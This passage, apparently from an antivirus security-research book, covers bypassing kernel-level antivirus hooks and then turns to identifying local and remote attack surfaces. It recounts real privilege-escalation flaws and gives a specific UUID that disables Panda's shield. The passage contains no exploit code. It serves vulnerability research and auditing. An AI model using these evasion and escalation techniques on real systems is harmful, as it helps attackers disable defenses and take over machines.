technique has been used a number of times to bypass other HIPS; the fi rst time 

I remember somebody writing about this approach was in Phrack, Volume 0x0b, k
Issue 0x3e, from 2003/2004, which is available at http://grugq.github.io/

docs/phrack-62-05.txt.

As “The Grugq” (one of the original authors of that issue of Phrack), said in kk
Twitter after rediscovering techniques that he used roughly ten years before, 

“User-land sand boxing cannot work. If you’re in the same address space as the 

malware, malware wins. End of story.” And he is absolutely right.

Kernel-Land Hooks

You saw in the previous section that bypassing userland hooks (which most 

userland-based heuristic engines are derived from) is an easy task. But what 

about kernel-land hooks? How are they usually implemented? How can you 

bypass them? Hooking in kernel-land can be done at almost any layer. An anti-

virus product may hook process or thread creation at kernel level by registering 

callbacks to the following functions:

■ PsSetCreateProcessNotifyRoutine—Adds or removes an element from 

the list of routines to be called whenever a process is created or deleted.

■ PsSetCreateThreadNotifyRoutine—Registers a driver-supplied callback

that is subsequently notifi ed when a new thread is created or deleted.

■ PsSetLoadImageNotifyRoutine—Registers a driver-supplied callback 

that is subsequently notifi ed whenever an image is loaded or mapped 

into memory.

These functions are implemented in kernel-drivers, not only for creating heu-

ristic engines but also to analyze programs before they are executed or loaded. 

From a userland program, unlike with the previous hooking engines, there is 

no way of bypassing or even getting information about the installed callbacks. 

However, a malware program running at kernel level can. I will illustrate with 

a typical example:
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 1. The malware installs a driver or abuses a kernel-level vulnerability to run 

its code at Ring-0.

The malware gets a pointer to the (undocumented) PspCreate

ProcessNotifyRoutine.

 2. Then, the malware removes all registered callbacks for this routine.

 3. The true malicious programs, which are not being monitored, are executed.

However, fi rst the program needs to execute code at kernel level; otherwise, 

it would be unable to remove any of the registered callbacks. An example of 

removing kernel callbacks is illustrated by this blog post by Daniel Pistelli: 

http://rcecafe.net/?p=116http://rcecafe.net/?p=116.

At kernel level, there are more hooks, or callbacks, that can be registered 

to monitor anything the computer is doing. These hooks are typically used 

in kernel-level heuristic engines. It is common to see fi lesystem and registry 

hooks monitoring (as well as denying or allowing, depending on a set of rules 

that can be either hard-coded or dynamic) what is happening in the fi lesystem 

or registry. This is often done using mini-fi lters for fi lesystems. A mini-fi lter is

a kernel-mode driver that exposes functionality that can be used to monitor 

and log any I/O and transaction activity that occurs in the system. It can, for 

example, examine fi les before they are actually opened, written to, or read from. 

Again, from a userland process, there is nothing malware can do; however, from 

a kernel-land driver, malware can do its work in a level lower than PASSIVE_

LEVEL (where the mini-fi lter will work), such as in APC_LEVEL (asynchronous

procedure calls) or DISPATCH_LEVEL (where deferred procedure calls happen), 

and even at lower levels.

Returning to hooking registry activity, antivirus software can register a reg-

istry callback routine via CmRegisterCallback. The RegistryCallback routine

receives notifi cations of each registry operation before the confi guration manager 

processes the operation. Yet again, there is nothing a userland program can do from 

user-space to detect and bypass callbacks at kernel level; it will need kernel-level 

execution in order to do so. A malware or any kernel-level program can remove 

the callbacks, as explained in the case of the PsSetCreateProcessNotifyRoutine, 

and then continue afterwards to do whatever it wants with the registry without 

being intercepted by an antivirus kernel-driver (see Figure 9-3).
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Figure 9-3:  List of IRQLs

Summary

 This chapter covered the various types of heuristic engines that may be imple-

mented in userland, kernel-land, or both. For each type of heuristic engine, this 

chapter also covered various methods on how to bypass these heuristic-based 

detections.

In summary, the following topics were covered:

■ Heuristic engines, as implemented in AV products, rely on detection 

routines that assess evidence and behavior as collected from analyzing 

the code in question statically or dynamically.

■ Static heuristic engines try to discover malicious software by fi nding evi-

dence statically by disassembling or analyzing the headers of the fi le under 

scrutiny. It is common to use heuristic engines that are based on machine learning 
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algorithms, such as Bayesian networks, genetic algorithms, or expert systems.

Most often, static heuristic engines are considered true heuristic engines, 

while dynamic heuristic engines are called Host Intrusion Prevention 

Systems (HIPS).

■ Heuristic engines based on expert systems implement a set of algorithms 

that emulate the decision-making strategy of a human analyst.

■ Dynamic heuristic engines also base their detections on the behavior of 

the fi le or program by hooking API calls or executing the program under

an emulation framework.

■ Dynamic heuristic engines are implemented in the form of hooks (in 

userland or kernel-land). They could also be based on emulation (in the

case of static analysis).

■ Dynamic heuristic engines using userland hooks work by detouring 

some APIs to monitor the execution of those APIs and block them if 

needed. These userland hooks are usually implemented with the help of 

third-party hooking libraries such as EasyHooks, Microsoft’s Detours, or 

madCodeHook, among others.

■ Bypassing userland hooks is easy in many ways. For instance, attackers

could read the original prologue of the hooked functions from the disk,

execute those bytes, then continue executing the part of the function past 

the prologue bytes (which are not hooked). Another simple approach is

to unload the hooking library, which, in turn, will remove the hooks as 

it unloads.

■ Kernel-land-based hooks rely on registering callbacks that monitor the 

creation of processes and access to the system registry. They also employ 

fi lesystem fi lter drivers for real-time fi le activity monitoring.

■ Similarly to bypassing userland hooks, kernel-land hooks can be unin-

stalled by malicious code running in the kernel.

■ The third type of heuristic engines is implemented by using both user-

land and kernel-land hooks.

This chapter concludes this part of the book and paves way for the next part 

that will talk about attacking the antivirus software as a whole by identifying 

the attack vectors (local or remote attack vectors) and then fi nding bugs and 

exploiting them. 
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The attack surface of any software is the exposed surface, which can be used by 

unauthorized users to discover and exploit vulnerabilities. The attack surface 

can be divided into two different groups: local and remote.

This chapter discusses how to identify the attack surface of antivirus soft-

ware. To some extent, you can apply the techniques and tools described in this 

chapter to any software when determining where to aim your attack against 

your chosen Goliath. This chapter illustrates how to use tools provided by the 

operating system, as well as specialized tools that will aid you in identifying 

the local and remote attack surface and techniques to determine the odds of 

discovering “gold.”

The tools and techniques that you use will vary, depending on the components 

you are analyzing and the target operating systems. For example, in Unix-based 

operating systems, you can use the typical Unix toolset (ls, fi nd, lsof, netstat, and 

so on). On Windows platforms, you need specifi c tools, namely, the Sysinternals 

Suite, and a few additional third-party tools to get the same insights.

The attack surface of any program is typically separated into two stages or 

parts: local and remote. The local attack surface, which is carried by a local 

user on the machine, can be leveraged, for example, to escalate privileges from 

a normal user (with only privileges to read and write to his or her profi le or 

documents directory) to an administrator or root user. Sometimes a local attack 

can be used to trigger a denial of service (DoS) on the machine by causing the 

attacked software to behave differently or to consume too many resources, thus 

C H A P T E R 

10

Identifying the Attack Surfacek Surface
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rendering the machine unusable. On the other hand, an attack surface is dubbed 

a remote attack surface when an attacker mounts exploits remotely without local 

access to the machine. For example, server software such as a web server or 

a web application may present a wide remote surface for attackers to leverage 

and exploit. Similarly, a network service listening for client connections that is 

vulnerable to a buffer overfl ow or (as is common in the case of antivirus soft-

ware) a bug in the parser of a specifi c fi le format can be exploited by sending 

a malformed fi le via email. This attack may cause the network service to crash 

or to consume a lot of resources in the targeted machine. 

Some security researchers make a distinction between remote attack surfaces 

on a Local Area Network (LAN) or intranet and attack surfaces carried over a 

Wide Area Network (WAN) or the Internet. An example of a LAN remote attack 

is when the network services can only be reached from the intranet, for example, 

an antivirus remote administration panel (such as the vulnerability in the eScan 

Malware Admin software that is discussed in Chapter 13). Other services can 

be attacked from the Internet, as in the previous mail gateway example.

Because it is often more interesting to research the remote attack surface, 

many researchers focus only on the remote side to exploit an antivirus applica-

tion. However, you should also research the local attack surface because you 

may need to write a multi-stage exploit to fully “own” the target machine. For 

example, fi rst, a remote vulnerability is exploited, gaining limited privileges 

(Apache running as the www-data account in Linux or a server running as a

non-administrator user in Windows). Then, a local escalation-of-privilege bug 

is used to get full privileges (root, local system, or even kernel-level access, 

depending on the operating system and vulnerability type) on the target. Do not 

exclusively focus on remote vulnerabilities; later on, you may need one (or more) 

local vulnerabilities to write a full remote root exploit. Nowadays, exploiting a 

remote vulnerability in antivirus software often means instantaneous root or 

local system access because the attacked service (or services) is already running 

with elevated privileges. 

In the past, exploiting browsers, document readers, and other client-side 

applications required just one shot to gain access to logged-in user privileges 

and, if required, one more bug to get full root or local system privileges. Today, 

exploiting most (security-aware) client-side applications requires a sandbox 

escape, followed by fi nding a bug in the sandbox or in the underlying operating 

system (or kernel) just to execute code with the logged-in user privileges. In the 

near future, security researchers expect that antivirus products will offer the

same features (sandboxing code), thus turning it sine qua non to also research

the local attack surface to fully own the targeted product.
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Understanding the Local Attack Surface

The local attack surface, as previously explained, is exposed to attackers with 

access to local machine resources, such as the local disk, memory, processes, and 

so on. To determine which components of the targeted antivirus are exposed, 

you need to understand the concepts listed here:

■ Privileges for fi les and directories

■ Set user ID (SUID) or set group ID (SGID) binaries on Unix-based platforms

■ Address Space Layout Randomization (ASLR) and Data Execution 

Prevention (DEP) status for programs and libraries

■ Wrong privileges on Windows objects

■ Logical fl aws

■ Network services listening on the loopback adapter (127.0.0.1, ::1, or 

localhost)

■ Kernel device drivers

Although other objects may be exposed, this list contains the most commonly 

exposed objects.

Finding Weaknesses in File and Directory Privileges

Although this is not a common bug or design fl aw in antivirus software, some 

AV developers forget to set up privileges for the program’s directory, or they 

leave the privileges of some fi les too open. One example, specifi c to Unix, is when 

a SUID or SGID program can be executed by any user when it is not required. 

(SUID- and SGID-specifi c issues will be discussed later in this chapter.) However, 

there are more problems that affect fi le and directory privileges. For example, the 

antivirus program Panda Global Protection, from versions 2011 to 2013, used to 

have read and write privileges set for all users (everyone) in the corresponding 

program’s directory, thus allowing any local user to place programs, libraries, 

and other fi les in the same directory. To check the privileges of the installation 

directory in Windows, you can use Explorer or the command-line tool icacls

and check the privileges of the corresponding directory. 

In Unix or Linux, you can simply issue the following command:

$ ls -lga /opt/f-secure
drwxrwxr-x  5 root root 4096 abr 19 21:32 fsaua
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drwxr-xr-x  3 root root 4096 abr 19 21:32 fsav
drwxrwxr-x 10 root root 4096 abr 19 21:32 fssp

This example shows the three directories installed by F-Secure Anti-Virus 

for Linux with the correct privileges. Only the user and group root have all 

privileges (read, write, and execute). Normal users can only read the directory 

contents and execute programs inside these directories. As a result, the prob-

lem of placing libraries and programs, modifying vital fi les, and so on, which 

affects Panda Global Protection, does not affect F-Secure Anti-Virus for Linux.

Escalation of Privileges

Discovering local escalation of privileges in antivirus products is very common. 

Buggy antivirus kernel drivers; bad permissions in fi les, directories, and access 

control lists (ACLs); bugs in installed hooks; and other bugs made it, likely, the 

most error prone area.

Escalation of privilege bugs are serious bugs that can lead to full system 

compromise. The importance of properly setting objects, folders, fi les, and ACLs 

along with proper input validation, especially from kernel mode code, cannot 

be stressed enough.

Incorrect Privileges in Files and Folders

Checking for incorrect privileges in fi les and folders should be in the top three 

checks in any auditor’s list. Antivirus software, like any software out there, is 

not free of mistakes and errors, and, naturally, various antivirus vendors have 

had, and surely still have, vulnerabilities of this type.

A lot of vulnerabilities of this type have been discovered, for example, in the 

Panda antivirus products in the last years. Sometimes, such vulnerabilities are 

not simple mistakes made by the installer that can be fi xed by changing the 

permissions for a folder or a specifi c fi le but rather due to dangerous design 

decisions. Old versions of the Panda antivirus products used to allow normal 

unprivileged users (not administrator users) to update the antivirus. Instead of 

creating a Windows service running as SYSTEM user that communicates with 

an application that a normal user can run, they decided to “fi x” this problem 

by implementing one “clever” change that made the privileges for the Panda 

antivirus program fi les folder writeable by everyone. 

This terrible software design mistake has been the cause of innumerable 

vulnerability reports, because it was enough to change or tweak some of Panda’s 

services and components to regain escalation of privileges. For example, a 

person nicknamed tarkus sent a security advisory to exploit-db.com with the

title “Panda Antivirus 2008 - Local Privilege Escalation Exploit.” The vulner-

ability he exploited was due to incorrect fi les privileges set by the installer. 
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The installer made the %ProgramFiles%\Panda Security\Panda Antivirus 

2008 directory writeable to everyone. In his proof-of-concept code, tarkus sim-

ply swaps the original pavsrv51.exe service executable with another malicious 

program with the same name. Unfortunately for Panda, because any user can 

write to this directory, it was possible to simply overwrite the main services. 

After rebooting the machine, the malicious application would be executed with 

SYSTEM privileges.

Incorrect Access Control Lists

From time to time, a process launched from a Windows service is left in a 

vulnerable state by calling SetSecurityDescriptorDACL for the process and

passing a NULL ACL. This bug, which is typical in popular software database 

systems (IBM DB2 or Oracle have been vulnerable to such attacks in the past), 

naturally, can also be seen in antivirus software.

We continue talking about Panda antivirus, because this is the only antivirus 

software we are aware of that made this mistake. In Global Protection 2010, 

2011, and 2012, at the very least, the processes WebProxy.EXE and SrvLoad.EXE

were launched from other Panda services, running as local system. However, 

for some unknown reason, the antivirus engineers assigned a NULL ACL value

to these processes, allowing any local user to do anything with them. A pro-

cess with a NULL ACL value can be opened, modifi ed, written to, and so on by 

any other local process. So, an attacker could, for example, inject a DLL using 

the typical CreateRemoteThread API into any of these two processes and gain

SYSTEM privileges easily.

Kernel-Level Vulnerabilities

Another typically bug-prone area in antivirus products is in the kernel com-

ponents. Every once in a while, a local vulnerability in an antivirus is discov-

ered and it usually targets the kernel drivers. Sometimes, bugs in the kernel 

that aren’t exploitable, such as a local denial of service, can still be used by the 

attackers to mount attacks. Often, the discovery of other kernel-level bugs can 

be reliably exploited in a local machine, allowing the escalation of privileges 

from a normal, less privileged user, to kernel privileges.

The importance of fi nding kernel-level vulnerabilities lies in the fact that from 

kernel mode, the attacker can perform any action on the system, like install-

ing a malicious driver, writing directly to the disk with the aim of destroying 

its contents, hooking userland processes to steal data (like banking details 

sent by your browser to a bank web page), and literally anything else. To put 

this into greater perspective, some operating systems prevent even the root or 
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administrator users from performing actions. However, executing code at kernel 

level is really game over.

Often, these kernel bugs are the result of improperly checking the input 

received by the kernel driver’s I/O control code handlers (IOCTLS). Kernel 

driver bugs can occur at many other levels, like in installed hook handlers for 

example. Antivirus products usually install hooks into common fi le I/O func-

tions (like CreateFile) in userland and/or kernel-land. Naturally, the hooks to 

these functions must be written with the proper care, but human programming 

errors happen.

As an example related to API hooking bugs, a vulnerability titled “Kingsoft 

AntiVirus 2012 KisKrnl.sys <= 2011.7.8.913 - Local Kernel Mode Privilege Escalation 

Exploit” pertaining to incorrectly handling API hooks was reported via exploit-

db.com in 2011 by a person nicknamed MJ0011. The Kingsoft antivirus kernel 

driver implements a sandbox by installing various API hooks that check how 

the hooked APIs are called and used. The KisKrnl.sys driver did not check the 

ResultLength argument sent to the hooked Windows API NtQueryValueKey.

Therefore, the attacker could pass any value in ResultLength, and the kernel 

driver could use that unchecked value for copying data. The proof-of-concept 

code sent by MJ0011, after successfully exploiting the driver, switched the screen 

display mode to text mode and displayed a message similarly to the way the 

blue screen of death (BSOD) in Microsoft Windows displays error messages 

before it crashes the computer. 

Exotic Bugs

There are various rare local bugs that can be understood only by looking at the 

big picture of the AV product and understanding its underlying design. An

antivirus engine usually contains one or more scanners, as well as heuristics. 

Some heuristics, however, aren’t launched directly by scanners, like a command-

line or GUI scanner, but, rather, based on monitoring the runtime behavior of 

applications. Such heuristics are subject to the same bugs that can appear in 

scanners: bugs in code parsing fi le formats.

One example of this type of bug appeared with a proof-of-concept reported 

via exploit-db.com by Arash Allebrahim. He published an advisory with the 

title “QuickHeal AntiVirus 7.0.0.1 - Stack Overfl ow Vulnerability.” The vulner-

ability he discovered was a stack overfl ow in one of its system components and 

is triggered when analyzing modules that get injected into a running process. 

In his PoC, he injects a malicious DLL (with manipulated import table) into 

Internet Explorer that, when analyzed by the runtime heuristic engine, caused 

a classical Unicode stack overfl ow due to an overly long import name in the PE 

fi le. The bug only happens when a DLL is injected.
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Exploiting SUID and SGID Binaries on Unix-Based Platforms

SUID and SGID are applied to executable fi les in Unix-based operating systems 

such as Solaris, FreeBSD, and Linux. Having either one or both of those bits 

set on executable fi les indicates that the program must be executed under the 

privileges of the owner user (SUID) or group (SGID). You can search for fi les 

with that bit set using the following commands:

$ find /directory -perm +4000 # For SUID files
$ find /directory -perm +8000 # For SGID files

For example, if you issue the command to fi nd SUID applications inside the 

Dr.Web installation directory, you will discover the following:

$ find /opt/drweb/ -perm +4000
/opt/drweb/lib/drweb-spider/libdw_notify.so
/opt/drweb/drweb-escan.real

There are two SUID binaries: libdw_notify.so and drweb-escan.real. 

However, the privileges of these two binaries are too restrictive: only the root 

user or the drweb group can execute the binaries, which you can confi rm by 

running the ls command:

$ ls –l /opt/drweb/drweb-escan.real
-rwsr-x--- 1 root drweb 223824 oct 22  2013 /opt/drweb/drweb-escan.real

Programs with the SUID or SGID bit set are, naturally, vulnerable to privilege 

escalations. If the program is not carefully coded or if it is intended to be used 

only by a specifi c user or group but permissions to execute the program are 

granted to all users, then any user can execute code as the owner user. What if 

the SUID or SGID program is owned by root? You guessed it: an attacker can 

gain root privileges.

An example of a real bug—albeit not specifi cally linked to bad privileges 

in their SUID binary but, rather, to a design problem—is a vulnerability in 

the eScan Malware Admin software. This web administration application is 

used to manage eScan antivirus installations and was designed with the idea 

of executing commands as root using whatever inputs were received from the 

end user of the web application (a very bad idea). Because a web application 

cannot execute commands as root, and due to one more design problem, the 

application needs to execute tasks as root; the developers “fi xed” the problem 

by creating an SUID binary called /opt/MicroWorld/sbin/runasroot that runs

commands with the inputs received from the web application. This was a bad 
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idea because it caused various problems, especially when the web application 

contained vulnerabilities. A remote attacker could fi rst gain the privileges of 

the mwadmin user (the privileges of the user running the web application). Then,

because this user could execute this binary, the remote attacker could run the 

command runasroot to gain root privileges in the targeted machine. 

So, in this case, the bug is not exactly a privileges issue but the result of a 

wrong design choice. In fact, many vulnerabilities are often the result of bad 

design rather than a careless selection of privileges. Indeed, these vulnerabilities 

are always more diffi cult to fi x, and it can even be a problem, because it would 

imply a change in the design of the software. 

ASLR and DEP Status for Programs and Binaries

Both Address Space Layout Randomization (ASLR) and Data Execution Prevention 

(DEP) exploit mitigations that are implemented in recent operating systems. 

ASLR means that the address space the program and libraries are loaded to 

will be random instead of predictable (as specifi ed in the executable header or 

preferred base loading address). This randomness makes it more diffi cult to 

guess an address or an offset inside a buffer with the special chunk of code or 

data an attacker needs for writing an exploit. Some operating systems, such 

as Mac OS X and Linux, force all programs and libraries to adhere to ASLR 

(depending on some kernel tweaks), but Windows enables ASLR only when the 

program was built with that option enabled. This has been the default choice 

when building C or C++ applications with Microsoft Visual Studio since 2002. 

However, some old applications were built using old versions of the compiler, or 

their developers deliberately disabled ASLR (often citing performance reasons, 

even though that does not make any sense). While not having ASLR enabled 

for the main process or for the libraries cannot be considered a vulnerability in 

itself, it is useful from an attacker’s point of view because it allows the attacker 

to determine how easy or diffi cult the exploitation of memory corruption bugs 

will be.

DEP is used to prevent memory pages not explicitly marked as executable 

from being executed. Any attempt to execute such data pages will result in an 

exception. The proper security practice is to assign pages read and write or 

read and execute privileges but never read, write, and execute privileges. As 

with ASLR, if a program does not enforce DEP, that does not mean there is a 

vulnerability; however, exploitation will be easier. In the days before DEP, a 

stack buffer overfl ow would directly result in code execution from the stack!

On Windows, you can check the status of ASLR and DEP for your target 

program or module using Process Explorer (the program is called procexp

.exe) from the Sysinternals Suite.
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Figure 10-1 shows that the Bitdefender Security Service, the resident analyzer, 

enables DEP permanently (eighth column in the processes panel) for the process; 

however, neither the main program (vsserv.exe(( ) nor most of the libraries are

ASLR enabled (fi fth column in the lower panel). This makes it trivial for an 

exploit writer to use any code chunk from these libraries or a set of hard-coded 

offsets matching some special pattern to write a reliable exploit. In any case, even 

when ASLR is not enabled for one process or library, you cannot be certain that 

the loading address will be the one that you got when taking a fi rst look with 

Process Explorer or another program. The loading addresses of ASLR-enabled 

libraries can confl ict with the loading of the base address of the libraries you 

want to use for writing your exploit, and Windows may relocate them. Please 

note that, even in the case of Bitdefender, where most of its libraries are not 

ASLR-aware, the libraries from the OS may interfere with their base addresses 

and thus have them exhibit ASLR-like behavior.

To fi nd out which libraries do not confl ict, you need to reboot a few times and 

write down the addresses of the libraries somewhere to verify that their base 

addresses remain stable across reboots. In the case of the Bitdefender Security 

Service, you do not need to do that because the main program, vsserv.exe, does

not have ASLR enabled either, and executables are loaded before any library; as 

a result, you have a 100-percent reliable ASLR bypass due to the mistake made 

by the Bitdefender developers.

A more worrisome bug that is defi nitely a vulnerability happens when an 

antivirus program implements heuristic engines or “proactive protection” of 

processes (as it is commonly advertised) by injecting a dynamic link library 

(DLL) without ASLR enabled for that DLL. Because this DLL is injected in 

all running processes, the lack of ASLR has a similar effect to having ASLR 

disabled system-wide. One example is the Chinese antivirus product Kingsoft 

Internet Security (KIS), which is widely used in China and Japan. KIS imple-

ments an application-level firewall by injecting various DLLs in all user 

processes. However, the libraries do not have ASLR enabled, so it is easier to 

write exploits targeting KIS users.

As shown in Figure 10-2, all user processes, such as the Firefox browser, have 

the non-randomized protection library injected into their process space. If an 

attacker who does not have an ASLR bypass wants to exploit a Firefox vulner-

ability, he or she can use the antivirus-injected libraries to write a reliable exploit 

targeting certain KIS users, for example, in China or Japan. Unfortunately, the 

issue with this Chinese antivirus product is not isolated, and it affects various 

other antivirus products. Several of them are briefl y discussed in the section 

“Security Enhanced Software.”
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Figure 10-1:  Bitdefender Security Service without ASLR enabled for most libraries, as well as the 
main executable program

Figure 10-2:  A set of three libraries without ASLR enabled, injected in the Firefox browser’s 
memory space
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Exploiting Incorrect Privileges on Windows Objects

Most local attacks against antivirus software in Windows operating systems 

involve abusing wrong privileges, ACLs, and other Windows objects for which

an ACL can be assigned.

You can check the privileges and established ACLs with the WinObj (winobj((

.exe) tool from the Sysinternals Suite. You need to run this program as admin-

istrator to see the privileges of all objects. Once WinObj is running, you can 

check in the directory \BaseNamedObjects for all the object types and the privi-

leges assigned to them. For example, if you are researching Kingsoft Antivirus, 

you need to search for Windows objects with names that start with the letter 

k. Figure 10-3 shows one such object: an event called kws_down_files_scan_

some_guid. If you double-click this kernel object, a new dialog box opens with 

two tabs. The Details tab shows general information about the Windows object, 

such as the number of references and handles opened. The Security tab shows 

the specifi c privileges of this object.

The WinObj tool warns you that no permissions have been assigned to the 

event, so anybody can take control of this Windows object. The exact message 

is as follows:

No permissions have been assigned for this object.
Warning: this is a potential security risk because anyone who can access
this object can take ownership of it. The object’s owner should assign
permissions as soon as possible.

As with the ASLR and DEP example, not having assigned privileges to a 

Windows object does not necessarily mean that there is a vulnerability in an 

AV product. However, the odds of this object causing problems for the AV 

product or for some of its components are high. For example, what if you create 

a program that takes control of this object and revokes access to the object for 

all users? No other process would be able to open the event and, therefore, no 

notifi cation would arrive through this channel. Another option is to signal this 

event continuously. This approach may cause a denial-of-service condition in the 

AV product because it was signaled when no event really happened. Another 

example is to create a program that continuously resets the event’s state, in 

which case no notifi cation at all would be received by the process or processes 
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waiting for this event to be signaled. (You have to be able to reset the event object 

after it was signaled and before it is received by a watcher of this event object.)

Figure 10-3:  No ACL is set for the KIS event object, and WinObj warns that anybody can take 
control of the object.

Event and mutex objects are, perhaps, the least interesting Windows objects 

when auditing any Windows application. Other, more interesting object types 

can translate into easy escalation of privileges. The best example is when a thread 

object or a process object is not assigned an access control list. While this is a 

relatively infrequent problem, it does affect various AV programs, such as Panda 

Global Protection until 2014. The example here uses Panda Global Protection 

2012. In contrast with the previous case involving Kingsoft Internet Security, this 

time you need to use not WinObj but rather the Sysinternals program Process 

Explorer, which is more suited to inspect user-mode threads and process objects. 

Once you have Panda Global Protection 2012 installed and running and you 

open Process Explorer, you can fi nd Panda’s process of interest, SrvLoad.exe

(as shown in Figure 10-4).

Process Explorer informs you that the object—in this case, the whole process—

does not have any ACL assigned. Thus, the object allows any local user to take 

control of this application, which, by the way, is running as local system with 

the highest integrity level (as the SYSTEM user). This error is not a common

mistake because a process or a thread object, by default, inherits the privileges 

from the parent object, and software developers must explicitly call the function 
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SetSecurityDescriptorDAL, giving it a NULL access control list. However, in 

many cases, programmers will call this function to make it easy for their own 

processes to open and interact with it. Unfortunately, it allows any other users on 

the local machine to do the same and more; a local exploit can open the process 

and inject a DLL by calling CreateRemoteThread, for example, to run code in

the context of the SrvLoad.exe program and escalate privileges to local system.

Other Windows objects that you have to keep an eye on when looking for 

vulnerabilities in antivirus software (and in any other Windows software in 

general) are sections. A section object represents a section of memory that can 

be shared across processes. It is used by processes to share parts of its memory 

address space with other processes. Section objects can also be used to map 

a fi le into a process memory space. If a section does not have a correct set of 

privileges (a correct ACL) or if no privilege is applied at all on the section object, 

any user can read whatever is inside the section object. This may allow users to 

leak sensitive information such as passwords or to write malformed data to the 

shared section, which can potentially disrupt one or more antivirus processes. 

In rare cases, shared sections actually contain executable code—snippets of 

binary code that are executed in one process and can be read or written from 

other processes. If no ACL is set or if the assigned set of privileges is wrong, the 

results can be devastating; any user could write executable code in the shared 

section, making the process (which is very likely running as SYSTEM) execute 

a piece of code chosen by an attacker. Although this bug appears to be rare, it 

actually affects a variety of commonly used antivirus products.

Figure 10-4:  This is an example of the Panda process SrvLoad running as SYSTEM with the
highest integrity level and without any ACL set. This vulnerability was reported by the author and 
fixed in 2014.
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Exploiting Logical Flaws

Logical fl aws, also called “business logic” bugs or fl aws, are bugs that affect the 

logic of a process. They cannot be discovered by using basic auditing tools such 

as Process Explorer or WinObj. You need to use the de facto standard tool for 

reverse-engineering, IDA, as you will have to disassemble and check the logic 

behind the component of your targeted antivirus product to fi nd the logical fl aws.

As an example of a logical fl aw, the Panda Global Protection 2011 to 2013 pro-

cesses were protected by the “Panda’s Shield.” This technology prevented (or 

tried to) any local processes from killing or injecting shellcode into the Panda 

analyzers and system services. However, for some reason, the developers inte-

grated a backdoor into this technology that could enable or disable the shield. The 

library pavshld.dll exports a set of functions—all of them with human-readable 

names, except PAVSHLD_001 and PAVSHLD_002 (see Figure 10-5).

Figure 10-5:  This list of functions is exported by the library pavshdl.dll.

When a library exports functions with mostly human-readable names, it often

means that the developers want to hide the logic behind these functions. If you 

open the fi rst function, PAVSHLD_001, in IDA, you will fi nd the code shown in 

Figure 10-6.

The commented disassembly shows that the Panda shield can be disabled if 

this function library is called by passing to it a “secret” UUID with the value 

ae217538-194a-4178-9a8f-2606b94d9f13. When the library function is called 

with the correct UUID, a set of writable registry keys (which are writable by the 

“Everyone” user) are updated, thus disabling Panda’s antivirus shield. This logic 

fl aw could also be discovered using another method: by checking the privileges 

of the corresponding Panda registry keys.
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Figure 10-6: This secret UUID can be used to disable the shield. 

Understanding the Remote Attack Surface

The remote attack surface is the surface exposed to remote attackers who have 

access to an adjacent network (LAN) or who can target the antivirus remotely 

from an external network (WAN). 

To determine what components of the targeted antivirus are exposed to remote 

attacks, you need to understand which components deal with remote data:

■ Parsers for various fi le formats

■ Generic detection and fi le disinfection code

■ Network services, administration panels, and consoles

■ Browser plug-ins

■ Firewalls, intrusion detection systems, and their various network protocol 

parsers

■ Update services
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An antivirus product tries to protect almost any probable entry point that can 

lead to remote malicious attacks. As it turns out, when the antivirus product 

deploys extra protection mechanisms to protect from remote attacks, the attack 

surface is increased considerably. Some new attack vectors will emerge as soon 

as an antivirus product is installed on either a server or a desktop machine. 

For example, the introduction of a network packet fi lter driver (for the purpose 

of intrusion detection) may open a new attack surface via its network protocol 

parsers.

The following sections briefl y describe each of the aforementioned remote 

attack surfaces.

File Parsers

The file parsers are one of the most interesting points to research in an 

antivirus product. By design, an antivirus product tries to analyze (scan) any 

fi le, temporary or otherwise, created or accessed on the machine it is protecting. 

As such, any archive downloaded via a browser is scanned by the antivirus 

product. For example, if a user visits a website that serves HTML content, CSS, 

and JavaScript fi les, then all fi les will be automatically scanned to see if they 

contain malware. This automatic scanning of fi les retrieved by the browser can 

trigger a vulnerability in the fonts, CSS, JavaScript, OLE2, or other fi le parsers. 

With such vulnerabilities, an attacker can remotely exploit a machine that is likely 

behind a fi rewall and that is not accessible directly from the Internet. Because 

the malware uses the browser as the entry vector and targets the antivirus 

software, the machine becomes vulnerable to attack. This real-world scenario 

is the most common one used by those targeting antivirus software remotely.

Nowadays, some antivirus companies, like many other software vendors, 

perform regular source code security audits and try to apply safe programming 

practices in order to reduce the odds of having exploitable fi le format bugs. 

With all those extra precautions, the odds are very high that the audits will fi nd 

vulnerabilities in the antivirus’s native code that parses complex fi le formats 

such as Microsoft OLE2 fi les, PDF, ELF, PE, MachO, Zip, 7z, LZH, RAR, GZIP, 

BZIP2, LNK, Adobe Flash, MOV, AVI, ASF, CLASS, DEX, and so on.

As a matter of fact, during the audit I performed in 2014 with 19 antivi-

rus products, fi le format bugs appeared in 14 AV engines; that is a very high 

number. In my opinion, it’s probable that the other AV engines did not crash 

when parsing fi le formats after months of fuzzing because they use one of two 

things: either an emulator or virtual machine for running the fi le parsers, or 

fi le parsers written in non-native languages such as interpreted languages or 

managed code. Symantec, Microsoft, and Norton are examples of companies

using these approaches. 



 Chapter 10 ■ Identifying the Attack Surface 199

Generic Detection and File Disinfection Code

Generic detection and fi le disinfection code deals with data that could be mali-

cious and crafted by willful attackers. The generic detection routines, when 

they are not as simple as pattern matching, deal with user-provided input. For 

example, they may read integer fi elds from the input fi le that end up being 

interpreted as “size” parameters. These parameters would then be used in 

allocations or memory copying operations to decompress or decrypt (or both) 

a part of an encrypted or compressed program (or both). 

To understand this idea, imagine a fi le infector (aka a virus) that infects a PE 

executable fi le and encrypts the original code section. When such an infected fi le is 

scanned, an AV’s generic detection code needs to gather infection evidence before 

deeming the fi le infected. The detection code then needs to fi nd where the origi-

nal entry point (OEP) is, where the decryption key is stored, and where the virus 

is embedded in the PE fi le. The disinfection code uses this gathered information 

to disinfect the fi le and restore it to its original state. The gathered information, 

as read from the infected fi le, may include size, offset, and other fi elds that are 

controlled by the attacker. If the disinfection routines trust the data as read and 

perform no input sanity checks, the disinfection code may end up using the size

fi elds in operations such as memcpy (leading to buffer overfl ows) or in integer arith-y

metic operations (leading to integer overfl ows, underfl ows, or truncation bugs). 

This would inadvertently introduce vulnerabilities into the disinfection code. 

Similarly, both generic detections and fi le disinfection code for obfuscated and/or 

compressed viruses (probably using Entry Point Obscuring [EPO], having to deal 

with new fi le formats and untrusted data, can pose equal security risks as PDF or 

OLE2 fi le format parsers.

Network Services, Administration Panels, and Consoles

The administration consoles and their client-side counterpart, the antivirus 

agents that connect to them, are subject to exploitation by an attacker. If the 

administration consoles and services that handle messages sent from the anti-

virus agents in the client desktop machines do not take extra care when dealing 

with the received input, they can open up vulnerabilities. For example, in the 

popular antivirus product AVG, the server component used to have a set of very 

serious weaknesses (one of them fi xed and most of them not, as of this writing):

